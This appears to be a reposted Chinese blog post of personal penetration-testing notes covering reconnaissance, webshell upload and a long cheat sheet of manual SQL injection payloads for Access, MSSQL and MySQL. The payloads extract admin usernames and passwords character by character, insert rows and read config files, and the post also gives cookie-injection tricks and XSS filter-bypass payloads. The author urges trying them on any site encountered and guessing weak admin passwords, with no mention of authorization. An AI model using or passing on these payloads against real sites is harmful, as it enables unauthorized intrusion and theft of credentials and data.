关于渗透的一些思路持续更新(自我理解)

先回忆一下 准确的是17年才接触到渗透以及ddos 其他hei产东西就不介绍了 接触的自我感觉有点迟 从最开始我也是从阿D明小子那些很傻瓜化的软件走过来的 但是接触的都是挂黑页(主页篡改)后来接触的比较多一点 也走上了那种借助工具去渗透的路子 没有自己去学编程自己去开发关于这方面的软件 安全圈大牛会叫这种为娱乐圈hacker 现在发布了网安法 网站的防御程度也越来越高 已经不能再靠以前的方法去渗透进去了 所以对自己也是一种挑战 需要学习掌握一些编程能力加上经验学习 进一步为网络安全贡献自己的一份努力!
长话短说 对于刚接触这方面的小白来说可能学习和了解这方面比较吃力 我个人总结一下学习这分明快速入手的全部经验 先从渗透思路说吧 首先我们要对这个网站进行踩点 俗话说的好“知己知彼 方可百战不殆” 踩点我们需要去查一下这个网站什么服务器搭建的 在网站后面加/robots.txt 还有站长工具也是个好东西 可以自己去浏览一下 查一下这个网站还有旁站 这个是主站拿不下的后话了(可能旁站存在漏洞扫描的后期也是可以拿下的然后都在同一个服务器 这个也是思路)

网站真实IP--站长、nslookup、dig、www.cz88.net、tcroute

操作系统--TTL、index.PHP、访问不存在页面

网站语言--index等一众页面的后缀、respone包头

服务器--访问不存在页面、respone包头、whatweb

数据库--注入报错、telnet端口

主机端口--Nmap、arp_swwep、portscan

子域名查询--subdomain.chaxun.la

网站CMS--Power By、site+“CMS”;百度”xxx CMS漏洞“

攻击面解析--awvs等爬虫式发现页面、御剑/dirb等暴破式发现隐藏页面、如果是某种标准协议则查看协议查找隐藏接口或隐藏参数

然后我会经常习惯用御剑扫描后台看看是否有后台地址显示出来 然后查看网站是否存在sql注入 这里面关于一个网站渗透还有需要注意的这几个点(讲的比较零散 想到哪写到哪)

1.Brute Force(暴力(破解))

2.Command Injection(命令行注入)

3.CSRF(跨站请求伪造)

4.File Inclusion(文件包含)

5.File Upload(文件上传)

6.Insecure CAPTCHA (不安全的验证码)

7.SQL Injection(SQL注入)

8.SQL Injection(Blind)(SQL盲注)

9.XSS(Reflected)(反射型跨站脚本)

10.XSS(Stored)(存储型跨站脚本)

sql注入是一个我自认为很需要练习的 需要敲一点点代码 虽然可以使用sqlmap去跑 但是我觉得理解手工的会比较好 查看网站是否存在上传点 看看限制上传呢过滤了哪些格式 然后使用抓包去上传你的一句话木马 根据看网站的类型去上传相应的一句话木马 {如果有 .php 结尾的 -php
如果有 .asp 结尾的 -asp
如果有 .jsp 结尾的 -jsp
但是有些网站是框架写的 就很难 判断了. 那只好查看它服务器的资料了}

这里说一下sql手工注入吧
第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。
数字型:and 1=1 and 1=2 判断是否存在注入
字符型:' and '1'='1 ' and '1'='2
搜索型: 关键字%' and 1=1 and '%'='% 关键字%' and 1=2 and '%'='%
IIS报错情况下使用:
and user>0 (判断是ACCESS还是MSSQL)
不报错则使用各自数据库特性来判断
and (select count(*) from msysobjects)>0 (返回权限不足access数据库)
and (select count(*) from sysobjects)>0 (返回正常则为MSSQL数据库)
and db_name()>0 (返回数据库名)
and 0<>(select @@version)-- (判断版本信息)
and db_name()>0 (返回数据库名)
************注意:猜解之前先要找到后台地址,不然白忙了**********
ACCESS注入:
猜解表名(正常则存在admin,不正常则不存在)
and exists (select * from [admin])
and (Select Count(*) from Admin)>0
猜解字段:(字段username存在则正常,不正常则不存在)
and (Select username from Admin)>0
and exists (select username from [admin])
猜解用户名和密码长度
and (select top 1 len(username) from Admin)>0
and (select top 1 len(password) from Admin)>0
原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>4成立,>5不成立,就是len(username)=5,即用户名长度为5.得到username的长度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码.
猜解用户
and (select top 1 asc(mid(username,1,1)) from Admin)>0,1,2…,
当输入到109时,显示错误,而108之前显示正确,说明第一个字符的ASCII码为109,得到第一个字符是m。
同理and (select top 1 asc(mid(username,2,1) from Admin)>0,1,2…
到114的时候不成立,说明第二个字符的ASCII码值为114,字符为r。
注意的是英文和数字的ASCII码在1-128之间...
MSSQL注入:
having 1=1-- 【爆出一个表名及字段,如:列 'users.ID' 在选择列表中无效】
group by users.ID having 1=1--
group by users.ID, users.username, users.password, users.privs having 1=1--
; insert into users values( 666, attacker, foobar, 0xffff )-- 【插入新记录】
猜解表名:
SQL SERVER的每一个数据库都会有用户表和系统表,在系统表sysobjects中, 数据库内创建的每个对象(约束、默认值、日志、规则、存储过程等)在sysobjects表中占一行,那么也就是说当前数据库的表名都会在该表内有存在。我们常用到的参数有三个,name (数据表的名字),xtype( 数据表的类型 u为用户表),id( 数据表的对象标志)。
and (select top 1 name from sysobjects where xtype='u')>0 (得到第一个表名:比如user)
and (select top 1 name from sysobjects where xtype='u' and name not in ('user'))>0 得到第二个表名,后面的以此类推。。
猜解列名:
用到系统自带的2个函数col_name()和object_id(),col_name()的格式是“COL_NAME( table_id , column_id )”,参数table_id是表的标识号,column_id是列的标识号,object_id(admin)就是得到admin在sysobjects 中的标识号,column_id=1,2,3表明admin的第1,2,3列。
and (select top 1 col_name(object_id('admin'),1) from sysobjects)>0 【得到admin字段的第一个列名“username”依次类推,得到“password”“id”等等】
猜解字段内容:
and (select top 1 username from [admin])>0 【直接得到用户名】
and (select top 1 password from [admin])>0 【直接得到密码】
UNION联合查询:
select name,password,id from user union select user,pwd,uid from 表名
and 1=1 union select 1,2,3,4,5... from 表名 (数值从1开始慢慢加,如果加到5返回正常,那就存在5个字段)
ASCII逐字解码法:
1、猜解列长度
and (select top 1 len(列名)from 表名)>N
其中N是数字,变换这个N的值猜解列长度,当N为6正确,为7错误,则长度为7
猜解第二条记录就该使用:select top 1 len(列名) from 表名 where 列名 not in (select top 1 列名 from 表名)
2、猜解用户和密码
ASC()函数和Mid函数,ASC(mid(列名,N,1))得到“列名”第N位字符ASCII码
猜解语句为:and (select top 1 asc(mid(字段,1,1)) from 数据库名)>ASCII码
区间判断语句:....between......and......
中文处理法:当ASCII转换后为“负数”使用abs()函数取绝对值。
例:and (select top 1 abs(asc(mid(字段,1,1))) from 数据库名)=ASC码
ASCII逐字解码法的应用:
1、猜解表名:and (select count(*) from admin)<>0
2、猜解列名:and (select count(列名) from 表名)<>0
3、猜解用户个数:and (select count(*) from 表名)>1,2.. 2正常,3错误,表中有3条记录。
4、猜解用户名的长度:and (select len(列名) from 表名)>=1、>=2、>=3、>=4。
5、猜解用户名:and (select count(*)from 表名 where (asc(mid(列名,1,1))) between 30 and 130)<>0
最后提交:and (select asc(mid(列名,1,1)) from 表名)=ascii的值
6、猜解管理员的密码:
按照上面的原理,把上面的语句中(asc(mid(列名,1,1)的列名换成PASSWORD就能得到密码了。
MYSQL+PHP注入:
1.判断是否存在注入,加';and 1=1 ;and 1=2
2.判断版本 and ord(mid(version(),1,1))>51 /* 返回正常说明是4.0以上版本,可以用union查询
3.利用order by 暴字段,在网址后加 order by 10 /* 如果返回正常说明字段大于10
4.再利用union来查询准确字段,如: and 1=2 union select 1,2,3,......./*直到返回正常,说明猜到准确字段数。如过滤了空格可以用/**/代替。
5.判断数据库连接帐号有没有写权限,and (select count(*) from mysql.user)>0 /*如果结果返回错误,那我们只能猜解管理员帐号和密码了。
6. 如果返回正常,则可以通过and 1=2 union select 1,2,3,4,5,6,load_file(char(文件路径的ascii值,用逗号隔开)),8,9,10 /* 注:load_file(char(文件路径的ascii值,用逗号隔开))也可以用十六进制,通过这种方式读取配置文件,找到数据库连接等。
7.首先猜解user表,如: and 1=2 union select 1,2,3,4,5,6.... from user /* 如果返回正常,说明存在这个表。
8.知道了表就猜解字段,and 1=2 union select 1,username,3,4,5,6.... from user/*如果在2字段显示出字段内容则存在些字段。
9.同理再猜解password字段。
cookie注入:
条件:ID=Request("ID"),(WEB服务器是先去取GET中的数据,没有的话再取POST中的数据,还没有再去取Cookies中的数据);未对cookie进行过滤,那么就造成了cookie注入。
*****用 Request.QueryString或Request.Form收集数据的话,是无法利用Cookies注入的******
判断是否存在cookie注入
例如:http://www.xiaoweio.cn/1.asp?id=44
输入 http://www.xiaoweio.cn/1.asp 显示不正常,因为没有输参数。
javascript:alert(document.cookie="id="+escape("44 and 1=1"));刷新页面,显示正常,可以再试下一步(如果不正常,就有可能也有过滤了)
javascript:alert(document.cookie="id="+escape("44 and 1=2"));刷新一下页面,如果不正常显示,这就表示有注入了。
猜解长度:
javascript:alert(document.cookie="id="+escape("44 and (select len(password) from admin)=16"))
猜解内容:
javascript:alert(document.cookie="id="+escape("44 and (select asc(mid(username)) from admin)=97"))
PHP注入:
判断注入点:';and 1=1 ';and 1=2
判断UNION:and ord(mid(version(),1,1))>51 返回正确则4.0可用UNION查询
利用order by 暴字段:order by n (n=1,2,3.. ) (当n为3正确,4错误是,则3个字段)
利用union来查询准确字段:and 1=1 union select 1,2,3,....... (当返回正常时,就说明猜到准确字段数=最后一个数)
判断数据库连接帐号有没有写权限:and (select count(*) from mysql.user)>0(如果返回错误,我们就猜管理员的帐号密码,如果返回正常,则可以通过
and 1=2 union select 1,2,3,4,5,6, load_file(char(文件路径的ascii值,用逗号隔开)),8,9,10 [注意:load_file(char(文件路径的ascii值,用逗号隔开))也可以用十六进制,通过这种方式读取配置文件])
猜解表:and 1=2 union select 1,2,3,4,5,6.... from user (回正常,说明存在这个表)
猜字段:and 1=2 union select 1,username,3,4,5,6.... from user (同样道理,自己替换,如果在2字段显示出字段内容则存在些字段)
同理再猜解password字段.
跨站:
<script>alert("跨站")</script> (最常用)
<img scr=javascript:alert("跨站")></img>
<img scr="javascript: alert(/跨站/)></img>
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格)
<img scr="#" onerror=alert(/跨站/)></img>
<img scr="#" style="xss:e-xpression(alert(/xss/));"></img>
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释)
<img src=vbscript:msgbox ("xss")></img>
<style> input {left:e-xpression (alert('xss'))}</style>
<div style={left:e-xpression (alert('xss'))}></div>
<div style={left:exp/* */ression (alert('xss'))}></div>
<div style={left:\0065\0078ression (alert('xss'))}></div>
html 实体 <div style={left:&#x0065;xpression (alert('xss'))}></div>
unicode <div style="{left:expRessioN (alert('xss'))}">

这个多去练习练习 遇到个网站就敲一下试试就熟悉了 我也记不得有的 都经常遇到去百度复制的

这个文件包含就不具体说了 ../../ 主要要看懂网站源代码过滤了什么 (后期在改进具体写写)

还有就是弱口令大家也可以去试试 万一哪个管理员粗心呢对吧 

猜解文件,如知道某文件为admin_login.php,我们可尝试admin_add.php、admin_upload.php文件是否存在,也可以谷歌搜索site:cnseay.com inurl:edit等等,很多时候可以找到一些敏感文件,接着看是否验证权限或能否绕过验证

然后就是熟知近期网络安全里面暴露出来的最新漏洞   社工和xss本人也不是很熟练 其他的话  就不在关公面前耍大刀了,写的有点散乱 大家也可以和本人进行交流 望大牛勿喷改错

本篇后期会持续更新 有想法的可以联系我 一起交流

猜你喜欢

转载自www.cnblogs.com/wuju/p/10311944.html
今日推荐